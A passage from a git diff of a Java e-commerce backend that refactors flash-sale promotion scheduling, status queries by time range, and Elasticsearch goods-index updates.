DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (PromotionTypeEnum.SECKILL.name() + seckill.getId())), - rocketmqCustomProperties.getPromotionTopic()); - } else { - throw new ServiceException(ResultCode.SECKILL_DELETE_ERROR); - } - } - - /** - * 开启一个秒杀活动 - * - * @param id 秒杀活动编号 - */ - @Override - public void openSeckill(String id) { - SeckillVO seckillVO = checkSeckillExist(id); - if (seckillVO.getEndTime() == null) { - seckillVO.setEndTime(cn.hutool.core.date.DateUtil.endOfDay(seckillVO.getStartTime())); - } - PromotionTools.checkPromotionTime(seckillVO.getStartTime().getTime(), seckillVO.getEndTime().getTime()); - if (PromotionStatusEnum.NEW.name().equals(seckillVO.getPromotionStatus()) || PromotionStatusEnum.CLOSE.name().equals(seckillVO.getPromotionStatus())) { - LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper().eq(Seckill::getId, id).set(Seckill::getPromotionStatus, PromotionStatusEnum.START.name()); - this.update(updateWrapper); - seckillVO.setPromotionStatus(PromotionStatusEnum.START.name()); - this.mongoTemplate.save(seckillVO); - this.addSeckillStartTask(seckillVO); - } - } - - @Override - public void closeSeckill(String id) { - SeckillVO seckillVO = checkSeckillExist(id); - if (PromotionStatusEnum.NEW.name().equals(seckillVO.getPromotionStatus()) || PromotionStatusEnum.START.name().equals(seckillVO.getPromotionStatus())) { - LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper().eq(Seckill::getId, id).set(Seckill::getPromotionStatus, PromotionStatusEnum.CLOSE.name()); - this.update(updateWrapper); - seckillVO.setPromotionStatus(PromotionStatusEnum.CLOSE.name()); - this.mongoTemplate.save(seckillVO); - if (PromotionStatusEnum.CLOSE.name().equals(seckillVO.getPromotionStatus())) { - LambdaQueryWrapper deleteWrapper = new LambdaQueryWrapper<>(); - deleteWrapper.eq(PromotionGoods::getPromotionId, seckillVO.getId()); - promotionGoodsService.remove(deleteWrapper); - if (seckillVO.getSeckillApplyList() != null) { - List skuIds = seckillVO.getSeckillApplyList().stream().map(SeckillApply::getSkuId).collect(Collectors.toList()); - this.goodsIndexService.deleteEsGoodsPromotionIndexByList(skuIds, PromotionTypeEnum.SECKILL); - } - this.timeTrigger.delete(TimeExecuteConstant.PROMOTION_EXECUTOR, - seckillVO.getStartTime().getTime(), - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (PromotionTypeEnum.SECKILL.name() + seckillVO.getId())), - rocketmqCustomProperties.getPromotionTopic()); - } - } else { - throw new ServiceException(ResultCode.SECKILL_CLOSE_ERROR); + this.savePromotions(seckill); } } @Override public Integer getApplyNum() { - LambdaQueryWrapper queryWrapper = Wrappers.lambdaQuery(); - //秒杀申请时间未超过当前时间 - queryWrapper.ge(Seckill::getApplyEndTime, cn.hutool.core.date.DateUtil.date()); - queryWrapper.eq(Seckill::getPromotionStatus, PromotionStatusEnum.NEW.name()); + DateTime now = DateUtil.date(); + LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); + queryWrapper.ge(Seckill::getApplyEndTime, now); + queryWrapper.le(Seckill::getStartTime, now); + queryWrapper.ge(Seckill::getEndTime, now); return this.count(queryWrapper); } @Override public void updateSeckillGoodsNum(String seckillId) { - this.baseMapper.updateSeckillGoodsNum(seckillId); + Seckill seckill = this.getById(seckillId); + if (seckill != null) { + LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper<>(); + updateWrapper.eq(Seckill::getId, seckillId); + updateWrapper.set(Seckill::getGoodsNum, + this.seckillApplyService.count(new LambdaQueryWrapper().eq(SeckillApply::getSeckillId, seckillId))); + this.update(updateWrapper); + + } } /** - * 添加秒杀活动延时任务 + * 更新商品索引限时抢购信息 * - * @param seckill 秒杀活动 + * @param seckill 限时抢购信息 */ - public void addSeckillStartTask(SeckillVO seckill) { - PromotionMessage promotionMessage = new PromotionMessage(seckill.getId(), PromotionTypeEnum.SECKILL.name(), PromotionStatusEnum.START.name(), seckill.getStartTime(), seckill.getEndTime()); - TimeTriggerMsg timeTriggerMsg = new TimeTriggerMsg(TimeExecuteConstant.PROMOTION_EXECUTOR, - seckill.getStartTime().getTime(), - promotionMessage, - DelayQueueTools.wrapperUniqueKey(DelayTypeEnums.PROMOTION, (promotionMessage.getPromotionType() + promotionMessage.getPromotionId())), - rocketmqCustomProperties.getPromotionTopic()); - //发送促销活动开始的延时任务 - this.timeTrigger.addDelay(timeTriggerMsg); + @Override + public void updateEsGoodsSeckill(Seckill seckill, List seckillApplies) { + if (seckillApplies != null && !seckillApplies.isEmpty()) { + //循环秒杀商品数据,将数据按照时间段进行存储 + for (SeckillApply seckillApply : seckillApplies) { + if (seckillApply.getPromotionApplyStatus().equals(PromotionsApplyStatusEnum.PASS.name())) { + this.setSeckillApplyTime(seckill, seckillApply); + log.info("更新限时抢购商品状态:{}", seckill); + String promotionKey = PromotionTypeEnum.SECKILL.name() + "-" + seckillApply.getTimeLine(); + this.goodsIndexService.updateEsGoodsIndexPromotions(seckillApply.getSkuId(), seckill, promotionKey, seckillApply.getPrice()); + } + } + } + } + + @Override + public void setSeckillApplyTime(Seckill seckill, SeckillApply seckillApply) { + //下一个时间,默认为当天结束时间 + int nextHour = PromotionTools.nextHour(seckill.getHours().split(","), seckillApply.getTimeLine()); + + String format = DateUtil.format(seckill.getStartTime(), DatePattern.NORM_DATE_PATTERN); + DateTime parseStartTime = DateUtil.parse((format + " " + seckillApply.getTimeLine()), "yyyy-MM-dd HH"); + DateTime parseEndTime = DateUtil.parse((format + " " + nextHour), "yyyy-MM-dd HH"); + //如果是当天最后的时间段则设置到当天结束时间的59分59秒 + if (nextHour == seckillApply.getTimeLine()) { + parseEndTime = DateUtil.parse((format + " " + nextHour + ":59:59"), DatePattern.NORM_DATETIME_PATTERN); + } + seckill.setStartTime(parseStartTime); + //当时商品的秒杀活动活动结束时间为下个时间段的开始 + seckill.setEndTime(parseEndTime); } /** @@ -320,8 +155,8 @@ public class SeckillServiceImpl extends ServiceImpl impl * @param id 秒杀活动编号 * @return 秒杀活动信息 */ - private SeckillVO checkSeckillExist(String id) { - SeckillVO seckill = this.mongoTemplate.findById(id, SeckillVO.class); + private Seckill checkSeckillExist(String id) { + Seckill seckill = this.getById(id); if (seckill == null) { throw new ServiceException(ResultCode.SECKILL_NOT_EXIST_ERROR); } @@ -329,17 +164,53 @@ public class SeckillServiceImpl extends ServiceImpl impl } /** - * 检查秒杀活动参数 + * 初始化促销字段 * - * @param seckill 秒杀活动信息 + * @param promotions 促销实体 */ - private void checkSeckillParam(SeckillVO seckill) { - //同一时间段内相同的活动 - QueryWrapper queryWrapper = PromotionTools.checkActiveTime(seckill.getStartTime(), seckill.getEndTime(), PromotionTypeEnum.SECKILL, null, seckill.getId()); - int sameNum = this.count(queryWrapper); - //当前时间段是否存在同类活动 - if (sameNum > 0) { - throw new ServiceException(ResultCode.PROMOTION_SAME_ACTIVE_EXIST); + @Override + public void initPromotion(Seckill promotions) { + super.initPromotion(promotions); + if (promotions.getStartTime() != null && promotions.getEndTime() == null) { + promotions.setEndTime(DateUtil.endOfDay(promotions.getStartTime())); } } + + /** + * 检查促销状态 + * + * @param promotions 促销实体 + */ + @Override + public void checkStatus(Seckill promotions) { + super.checkStatus(promotions); + if (promotions.getStartTime() != null && CharSequenceUtil.isNotEmpty(promotions.getHours())) { + String[] split = promotions.getHours().split(","); + Arrays.sort(split); + String startTimeStr = DateUtil.format(promotions.getStartTime(), DatePattern.NORM_DATE_PATTERN) + " " + split[0] + ":00"; + promotions.setStartTime(DateUtil.parse(startTimeStr, DatePattern.NORM_DATETIME_MINUTE_PATTERN)); + promotions.setEndTime(DateUtil.endOfDay(promotions.getStartTime())); + } + if (promotions.getStartTime() != null && promotions.getEndTime() != null) { + //同一时间段内相同的活动 + QueryWrapper queryWrapper = PromotionTools.checkActiveTime(promotions.getStartTime(), promotions.getEndTime(), PromotionTypeEnum.SECKILL, null, promotions.getId()); + int sameNum = this.count(queryWrapper); + //当前时间段是否存在同类活动 + if (sameNum > 0) { + throw new ServiceException(ResultCode.PROMOTION_SAME_ACTIVE_EXIST); + } + } + + + } + + /** + * 当前促销类型 + * + * @return 当前促销类型 + */ + @Override + public PromotionTypeEnum getPromotionType() { + return PromotionTypeEnum.SECKILL; + } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/tools/PromotionTools.java b/framework/src/main/java/cn/lili/modules/promotion/tools/PromotionTools.java index cab5edfe..903565ae 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/tools/PromotionTools.java +++ b/framework/src/main/java/cn/lili/modules/promotion/tools/PromotionTools.java @@ -1,5 +1,6 @@ package cn.lili.modules.promotion.tools; +import cn.hutool.core.date.DateTime; import cn.hutool.core.date.DateUtil; import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.enums.PromotionTypeEnum; @@ -7,15 +8,17 @@ import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; import cn.lili.common.vo.PageVO; import cn.lili.modules.promotion.entity.dos.PromotionGoods; -import cn.lili.modules.promotion.entity.dto.BasePromotion; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; +import cn.lili.modules.promotion.entity.dto.BasePromotions; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import org.springframework.data.domain.PageRequest; import org.springframework.data.domain.Sort; import org.springframework.data.mongodb.core.query.Query; +import java.util.Arrays; import java.util.Date; import java.util.List; +import java.util.function.Consumer; /** @@ -26,6 +29,10 @@ import java.util.List; **/ public class PromotionTools { + public static final String START_TIME_COLUMN = "start_time"; + public static final String END_TIME_COLUMN = "end_time"; + + /** * 参数验证 * 1、活动起始时间必须大于当前时间 @@ -36,7 +43,7 @@ public class PromotionTools { * @param num 参与活动商品数量 * @param goodsList 选择的商品 */ - public static void paramValid(Long startTime, Long endTime, int num, List goodsList) { + public static void paramValid(Date startTime, Date endTime, int num, List goodsList) { checkPromotionTime(startTime, endTime); @@ -54,17 +61,25 @@ public class PromotionTools { * @param startTime 活动开始时间 * @param endTime 活动结束时间 */ - public static void checkPromotionTime(Long startTime, Long endTime) { + public static void checkPromotionTime(Date startTime, Date endTime) { - long nowTime = DateUtil.current(); + if (startTime == null) { + throw new ServiceException(ResultCode.PROMOTION_TIME_NOT_EXIST); + } + + DateTime now = DateUtil.date(); //如果活动起始时间小于现在时间 - if (startTime < nowTime || endTime < nowTime) { + if (now.after(startTime)) { throw new ServiceException(ResultCode.PROMOTION_START_TIME_ERROR); } + //如果活动结束时间小于现在时间 + if (endTime != null && now.after(endTime)) { + throw new ServiceException(ResultCode.PROMOTION_END_TIME_ERROR); + } //开始时间不能大于结束时间 - if (startTime > endTime) { + if (endTime != null && startTime.after(endTime)) { throw new ServiceException(ResultCode.PROMOTION_TIME_ERROR); } } @@ -76,23 +91,20 @@ public class PromotionTools { * @param endTime 结束时间 * @param typeEnum 促销类型 * @param storeId 店铺id - * @param activityId 促销活动id - * @param 促销类型 + * @param activityId 排除的促销活动id * @return mybatis plus query wrapper对象 */ - public static QueryWrapper checkActiveTime(Date startTime, Date endTime, PromotionTypeEnum typeEnum, String storeId, String activityId) { + public static QueryWrapper checkActiveTime(Date startTime, Date endTime, PromotionTypeEnum typeEnum, String storeId, String activityId) { QueryWrapper queryWrapper = new QueryWrapper<>(); - String startTimeColumn = "start_time"; - String endTimeColumn = "end_time"; if (PromotionTypeEnum.SECKILL != typeEnum) { queryWrapper.nested(i -> { //新活动起始时间 大于 之前活动的起始时间 小于 之前活动的截止时间 - i.nested(i2 -> i2.le(startTimeColumn, startTime).ge(endTimeColumn, startTime)); + i.nested(i2 -> i2.le(START_TIME_COLUMN, startTime).ge(END_TIME_COLUMN, startTime)); //新活动结束时间 大于 之前活动的起始时间 小于 之前活动的截止时间 - i.or(i1 -> i1.le(startTimeColumn, endTime).ge(endTimeColumn, endTime)); + i.or(i1 -> i1.le(START_TIME_COLUMN, endTime).ge(END_TIME_COLUMN, endTime)); }); } else { - queryWrapper.ge(startTimeColumn, DateUtil.beginOfDay(startTime)).le(endTimeColumn, DateUtil.endOfDay(endTime)); + queryWrapper.ge(START_TIME_COLUMN, DateUtil.beginOfDay(startTime)).le(END_TIME_COLUMN, DateUtil.endOfDay(endTime)); } if (storeId != null) { queryWrapper.eq("store_id", storeId); @@ -100,13 +112,27 @@ public class PromotionTools { if (activityId != null) { queryWrapper.ne("id", activityId); } - //忽略已作废和已关闭的活动 - queryWrapper.ne("promotion_status", PromotionStatusEnum.END.name()); - queryWrapper.ne("promotion_status", PromotionStatusEnum.CLOSE.name()); + queryWrapper.and(i -> i.or(queryPromotionStatus(PromotionsStatusEnum.NEW)).or(queryPromotionStatus(PromotionsStatusEnum.START))); queryWrapper.eq("delete_flag", false); return queryWrapper; } + + public static Consumer> queryPromotionStatus(PromotionsStatusEnum promotionsStatusEnum) { + switch (promotionsStatusEnum) { + case NEW: + return (QueryWrapper t) -> t.nested(i -> i.gt(START_TIME_COLUMN, new Date()).gt(END_TIME_COLUMN, new Date())); + case START: + return (QueryWrapper t) -> t.nested(i -> i.le(START_TIME_COLUMN, new Date()).ge(END_TIME_COLUMN, new Date())); + case END: + return (QueryWrapper t) -> t.nested(i -> i.lt(START_TIME_COLUMN, new Date()).lt(END_TIME_COLUMN, new Date())); + case CLOSE: + return (QueryWrapper t) -> t.nested(i -> i.isNull(START_TIME_COLUMN).isNull(END_TIME_COLUMN)); + default: + return null; + } + } + /** * 促销商品入库前填充 * @@ -114,21 +140,23 @@ public class PromotionTools { * @param promotion 促销信息 * @return 促销商品列表 */ - public static List promotionGoodsInit(List originList, BasePromotion promotion, PromotionTypeEnum promotionTypeEnum) { - //本次促销商品入库 - for (PromotionGoods promotionGoods : originList) { - promotionGoods.setPromotionId(promotion.getId()); - promotionGoods.setStoreName(promotion.getStoreName()); - promotionGoods.setTitle(promotion.getPromotionName()); - if (promotionGoods.getStartTime() == null) { - promotionGoods.setStartTime(promotion.getStartTime()); + public static List promotionGoodsInit(List originList, BasePromotions promotion, PromotionTypeEnum promotionTypeEnum) { + if (originList != null) { + //本次促销商品入库 + for (PromotionGoods promotionGoods : originList) { + promotionGoods.setPromotionId(promotion.getId()); + promotionGoods.setStoreName(promotion.getStoreName()); + promotionGoods.setTitle(promotion.getPromotionName()); + if (promotionGoods.getStartTime() == null) { + promotionGoods.setStartTime(promotion.getStartTime()); + } + if (promotionGoods.getEndTime() == null) { + promotionGoods.setEndTime(promotion.getEndTime()); + } + promotionGoods.setPromotionType(promotionTypeEnum.name()); + promotionGoods.setNum(0); + promotionGoods.setDeleteFlag(promotion.getDeleteFlag()); } - if (promotion.getEndTime() == null) { - promotionGoods.setEndTime(promotion.getEndTime()); - } - promotionGoods.setPromotionType(promotionTypeEnum.name()); - promotionGoods.setPromotionStatus(promotion.getPromotionStatus()); - promotionGoods.setNum(0); } return originList; } @@ -147,4 +175,17 @@ public class PromotionTools { } } + public static int nextHour(String[] totalHours, Integer timeline) { + int nextHour = 23; + int[] hoursSored = Arrays.stream(totalHours).mapToInt(Integer::parseInt).toArray(); + Arrays.sort(hoursSored); + for (int i : hoursSored) { + if (timeline < i) { + nextHour = i; + break; + } + } + return nextHour; + } + } diff --git a/framework/src/main/java/cn/lili/modules/search/service/EsGoodsIndexService.java b/framework/src/main/java/cn/lili/modules/search/service/EsGoodsIndexService.java index f7edeb7e..fd17d645 100644 --- a/framework/src/main/java/cn/lili/modules/search/service/EsGoodsIndexService.java +++ b/framework/src/main/java/cn/lili/modules/search/service/EsGoodsIndexService.java @@ -4,7 +4,7 @@ import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.goods.entity.dto.GoodsParamsDTO; import cn.lili.modules.promotion.entity.dos.PromotionGoods; -import cn.lili.modules.promotion.entity.dto.BasePromotion; +import cn.lili.modules.promotion.entity.dto.BasePromotions; import cn.lili.modules.search.entity.dos.EsGoodsIndex; import java.util.List; @@ -94,7 +94,16 @@ public interface EsGoodsIndexService { * @param key 促销信息的key * @param price 促销价格 */ - void updateEsGoodsIndex(String id, BasePromotion promotion, String key, Double price); + void updateEsGoodsIndexPromotions(String id, BasePromotions promotion, String key, Double price); + + /** + * 更新商品索引的促销信息 + * + * @param ids id(skuId) + * @param promotion 促销信息 + * @param key 促销信息的key + */ + void updateEsGoodsIndexPromotions(List ids, BasePromotions promotion, String key); /** * 根据列表更新商品索引的促销信息 @@ -103,7 +112,7 @@ public interface EsGoodsIndexService { * @param promotion 促销信息 * @param key 促销信息的key */ - void updateEsGoodsIndexByList(List promotionGoodsList, BasePromotion promotion, String key); + void updateEsGoodsIndexByList(List promotionGoodsList, BasePromotions promotion, String key); /** * 更新全部商品索引的促销信息 @@ -111,7 +120,7 @@ public interface EsGoodsIndexService { * @param promotion 促销信息 * @param key 促销信息的key */ - void updateEsGoodsIndexAllByList(BasePromotion promotion, String key); + void updateEsGoodsIndexAllByList(BasePromotions promotion, String key); /** * 删除指定商品的促销信息 diff --git a/framework/src/main/java/cn/lili/modules/search/service/EsGoodsSearchService.java b/framework/src/main/java/cn/lili/modules/search/service/EsGoodsSearchService.java index 9449e688..b7c97186 100644 --- a/framework/src/main/java/cn/lili/modules/search/service/EsGoodsSearchService.java +++ b/framework/src/main/java/cn/lili/modules/search/service/EsGoodsSearchService.java @@ -57,4 +57,12 @@ public interface EsGoodsSearchService { * @return ES商品列表 */ List getEsGoodsBySkuIds(List skuIds); + + /** + * 根据id获取商品索引 + * + * @param id 商品skuId + * @return 商品索引 + */ + EsGoodsIndex getEsGoodsById(String id); } diff --git a/framework/src/main/java/cn/lili/modules/search/serviceimpl/CustomWordsServiceImpl.java b/framework/src/main/java/cn/lili/modules/search/serviceimpl/CustomWordsServiceImpl.java index 2cb3b7e8..6cdf3b00 100644 --- a/framework/src/main/java/cn/lili/modules/search/serviceimpl/CustomWordsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/search/serviceimpl/CustomWordsServiceImpl.java @@ -1,20 +1,21 @@ package cn.lili.modules.search.serviceimpl; +import cn.lili.common.context.ThreadContextHolder; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; -import cn.lili.mybatis.util.PageUtil; import cn.lili.common.vo.PageVO; -import cn.lili.common.context.ThreadContextHolder; import cn.lili.modules.search.entity.dos.CustomWords; import cn.lili.modules.search.entity.vo.CustomWordsVO; import cn.lili.modules.search.mapper.CustomWordsMapper; import cn.lili.modules.search.service.CustomWordsService; +import cn.lili.mybatis.util.PageUtil; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import org.springframework.stereotype.Service; import javax.servlet.http.HttpServletResponse; +import java.nio.charset.StandardCharsets; import java.util.List; /** @@ -32,14 +33,13 @@ public class CustomWordsServiceImpl extends ServiceImpl queryWrapper = new LambdaQueryWrapper().eq(CustomWords::getName, customWordsVO.getName()); + CustomWords one = this.getOne(queryWrapper, false); + if (one != null && one.getDisabled().equals(1)) { throw new ServiceException(ResultCode.CUSTOM_WORDS_EXIST_ERROR); + } else if (one != null && !one.getDisabled().equals(1)) { + this.remove(queryWrapper); } + customWordsVO.setDisabled(1); return this.save(customWordsVO); } diff --git a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java index 7bead3dd..c36c7531 100644 --- a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java @@ -22,11 +22,12 @@ import cn.lili.modules.goods.entity.enums.GoodsAuthEnum; import cn.lili.modules.goods.entity.enums.GoodsStatusEnum; import cn.lili.modules.goods.entity.enums.GoodsWordsTypeEnum; import cn.lili.modules.goods.service.*; +import cn.lili.modules.promotion.entity.dos.Pintuan; import cn.lili.modules.promotion.entity.dos.PromotionGoods; -import cn.lili.modules.promotion.entity.dto.BasePromotion; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; +import cn.lili.modules.promotion.entity.dos.Seckill; +import cn.lili.modules.promotion.entity.dto.BasePromotions; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.service.PromotionService; -import cn.lili.modules.search.entity.dos.EsGoodsAttribute; import cn.lili.modules.search.entity.dos.EsGoodsIndex; import cn.lili.modules.search.entity.dto.EsGoodsSearchDTO; import cn.lili.modules.search.repository.EsGoodsIndexRepository; @@ -41,8 +42,6 @@ import org.elasticsearch.action.ActionListener; import org.elasticsearch.action.bulk.BulkRequest; import org.elasticsearch.action.update.UpdateRequest; import org.elasticsearch.client.RequestOptions; -import org.elasticsearch.client.indices.AnalyzeRequest; -import org.elasticsearch.client.indices.AnalyzeResponse; import org.elasticsearch.index.query.BoolQueryBuilder; import org.elasticsearch.index.query.QueryBuilders; import org.elasticsearch.index.query.TermQueryBuilder; @@ -165,7 +164,7 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements public Map getProgress() { Map map = (Map) cache.get(CachePrefix.INIT_INDEX_PROCESS.getPrefix()); if (map == null) { - return null; + return Collections.emptyMap(); } Boolean flag = (Boolean) cache.get(CachePrefix.INIT_INDEX_FLAG.getPrefix()); map.put("flag", Boolean.TRUE.equals(flag) ? 1 : 0); @@ -176,24 +175,24 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements public void addIndex(EsGoodsIndex goods) { try { //分词器分词 - AnalyzeRequest analyzeRequest = AnalyzeRequest.withIndexAnalyzer(getIndexName(), "ik_max_word", goods.getGoodsName()); - AnalyzeResponse analyze = client.indices().analyze(analyzeRequest, RequestOptions.DEFAULT); - List tokens = analyze.getTokens(); +// AnalyzeRequest analyzeRequest = AnalyzeRequest.withIndexAnalyzer(getIndexName(), "ik_max_word", goods.getGoodsName()); +// AnalyzeResponse analyze = client.indices().analyze(analyzeRequest, RequestOptions.DEFAULT); +// List tokens = analyze.getTokens(); - if (goods.getAttrList() != null && !goods.getAttrList().isEmpty()) { - //保存分词 - for (EsGoodsAttribute esGoodsAttribute : goods.getAttrList()) { - wordsToDb(esGoodsAttribute.getValue()); - } - } - //分析词条 - for (AnalyzeResponse.AnalyzeToken token : tokens) { - //保存词条进入数据库 - wordsToDb(token.getTerm()); - } +// if (goods.getAttrList() != null && !goods.getAttrList().isEmpty()) { +// //保存分词 +// for (EsGoodsAttribute esGoodsAttribute : goods.getAttrList()) { +// wordsToDb(esGoodsAttribute.getValue()); +// } +// } +// //分析词条 +// for (AnalyzeResponse.AnalyzeToken token : tokens) { +// //保存词条进入数据库 +// wordsToDb(token.getTerm()); +// } //生成索引 goodsIndexRepository.save(goods); - } catch (IOException e) { + } catch (Exception e) { log.error("为商品[" + goods.getGoodsName() + "]生成索引异常", e); } } @@ -337,11 +336,11 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements } @Override - public void updateEsGoodsIndex(String id, BasePromotion promotion, String key, Double price) { + public void updateEsGoodsIndexPromotions(String id, BasePromotions promotion, String key, Double price) { EsGoodsIndex goodsIndex = findById(id); if (goodsIndex != null) { //如果有促销活动开始,则将促销金额写入 - if (promotion.getPromotionStatus().equals(PromotionStatusEnum.START.name()) && price != null) { + if (price != null) { goodsIndex.setPromotionPrice(price); } else { //否则促销金额为商品原价 @@ -354,12 +353,30 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements } } + /** + * 更新商品索引的促销信息 + * + * @param ids skuId集合 + * @param promotion 促销信息 + * @param key 促销信息的key + */ @Override - public void updateEsGoodsIndexByList(List promotionGoodsList, BasePromotion promotion, String key) { + public void updateEsGoodsIndexPromotions(List ids, BasePromotions promotion, String key) { + for (String id : ids) { + this.updateEsGoodsIndexPromotions(id, promotion, key, null); + } + } + + @Override + public void updateEsGoodsIndexByList(List promotionGoodsList, BasePromotions promotion, String key) { if (promotionGoodsList != null) { //循环更新 促销商品索引 for (PromotionGoods promotionGoods : promotionGoodsList) { - updateEsGoodsIndex(promotionGoods.getSkuId(), promotion, key, promotionGoods.getPrice()); + Double price = null; + if (promotion instanceof Seckill || promotion instanceof Pintuan) { + price = promotionGoods.getPrice(); + } + this.updateEsGoodsIndexPromotions(promotionGoods.getSkuId(), promotion, key, price); } } @@ -372,7 +389,7 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements * @param key 促销信息的key */ @Override - public void updateEsGoodsIndexAllByList(BasePromotion promotion, String key) { + public void updateEsGoodsIndexAllByList(BasePromotions promotion, String key) { List goodsIndices = new ArrayList<>(); //如果storeId不为空,则表示是店铺活动 if (promotion.getStoreId() != null) { @@ -463,11 +480,15 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements if (promotionMap != null && !promotionMap.isEmpty()) { //促销不为空则进行清洗 for (Map.Entry entry : promotionMap.entrySet()) { - BasePromotion promotion = (BasePromotion) entry.getValue(); + BasePromotions promotion = (BasePromotions) entry.getValue(); //判定条件为活动已结束 - if (promotion.getEndTime().getTime() > DateUtil.date().getTime()) { + if (promotion.getEndTime().getTime() < DateUtil.date().getTime()) { + if (entry.getKey().contains(PromotionTypeEnum.SECKILL.name()) || entry.getKey().contains(PromotionTypeEnum.PINTUAN.name())) { + goodsIndex.setPromotionPrice(goodsIndex.getPrice()); + } promotionMap.remove(entry.getKey()); } + } } } @@ -524,7 +545,7 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements List promotionIds = new ArrayList<>(); //写入促销id for (String key : keyCollect) { - BasePromotion promotion = (BasePromotion) promotionMap.get(key); + BasePromotions promotion = (BasePromotions) promotionMap.get(key); promotionIds.add(promotion.getId()); } return promotionIds; @@ -554,7 +575,7 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements * @param key 关键字 * @param promotion 活动 */ - private void updateGoodsIndexPromotion(EsGoodsIndex goodsIndex, String key, BasePromotion promotion) { + private void updateGoodsIndexPromotion(EsGoodsIndex goodsIndex, String key, BasePromotions promotion) { log.info("修改商品活动索引"); log.info("商品索引: {}", goodsIndex); log.info("关键字: {}", key); @@ -567,7 +588,7 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements promotionMap = goodsIndex.getPromotionMap(); } //如果活动已结束 - if (promotion.getPromotionStatus().equals(PromotionStatusEnum.END.name()) || promotion.getPromotionStatus().equals(PromotionStatusEnum.CLOSE.name())) { + if (promotion.getPromotionStatus().equals(PromotionsStatusEnum.END.name()) || promotion.getPromotionStatus().equals(PromotionsStatusEnum.CLOSE.name())) { //如果存在活动 if (promotionMap.containsKey(key)) { //删除活动 diff --git a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsSearchServiceImpl.java b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsSearchServiceImpl.java index 6dedfa97..11764356 100644 --- a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsSearchServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsSearchServiceImpl.java @@ -34,6 +34,7 @@ import org.elasticsearch.search.aggregations.bucket.terms.Terms; import org.elasticsearch.search.sort.SortBuilders; import org.elasticsearch.search.sort.SortOrder; import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Qualifier; import org.springframework.data.domain.PageRequest; import org.springframework.data.domain.Pageable; import org.springframework.data.elasticsearch.core.ElasticsearchRestTemplate; @@ -70,6 +71,7 @@ public class EsGoodsSearchServiceImpl implements EsGoodsSearchService { * ES */ @Autowired + @Qualifier("elasticsearchRestTemplate") private ElasticsearchRestTemplate restTemplate; /** * 缓存 @@ -145,6 +147,17 @@ public class EsGoodsSearchServiceImpl implements EsGoodsSearchService { return restTemplate.multiGet(build, EsGoodsIndex.class, restTemplate.getIndexCoordinatesFor(EsGoodsIndex.class)); } + /** + * 根据id获取商品索引 + * + * @param id 商品skuId + * @return 商品索引 + */ + @Override + public EsGoodsIndex getEsGoodsById(String id) { + return this.restTemplate.get(id, EsGoodsIndex.class); + } + /** * 转换搜索结果为聚合商品展示信息 * diff --git a/framework/src/main/java/cn/lili/mybatis/util/PageUtil.java b/framework/src/main/java/cn/lili/mybatis/util/PageUtil.java index 691da042..32a69b7a 100644 --- a/framework/src/main/java/cn/lili/mybatis/util/PageUtil.java +++ b/framework/src/main/java/cn/lili/mybatis/util/PageUtil.java @@ -7,6 +7,7 @@ import cn.lili.common.utils.StringUtils; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.SearchVO; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.core.metadata.OrderItem; import com.baomidou.mybatisplus.extension.plugins.pagination.Page; @@ -150,4 +151,25 @@ public class PageUtil { return list.subList(fromIndex, toIndex); } } + + /** + * 转换分页类型 + * + * @param originPage 原分页 + * @param records 新分页数据 + * @param 新类型 + * @return 新类型分页 + */ + public static IPage convertPage(IPage originPage, List records) { + IPage resultPage = new Page<>(); + if (originPage != null) { + resultPage.setCurrent(originPage.getCurrent()); + resultPage.setPages(originPage.getPages()); + resultPage.setTotal(originPage.getTotal()); + resultPage.setSize(originPage.getSize()); + resultPage.setRecords(records); + } + return resultPage; + } + } diff --git a/framework/src/main/java/cn/lili/rocketmq/tags/GoodsTagsEnum.java b/framework/src/main/java/cn/lili/rocketmq/tags/GoodsTagsEnum.java index 73e3b7d6..651e4ce5 100644 --- 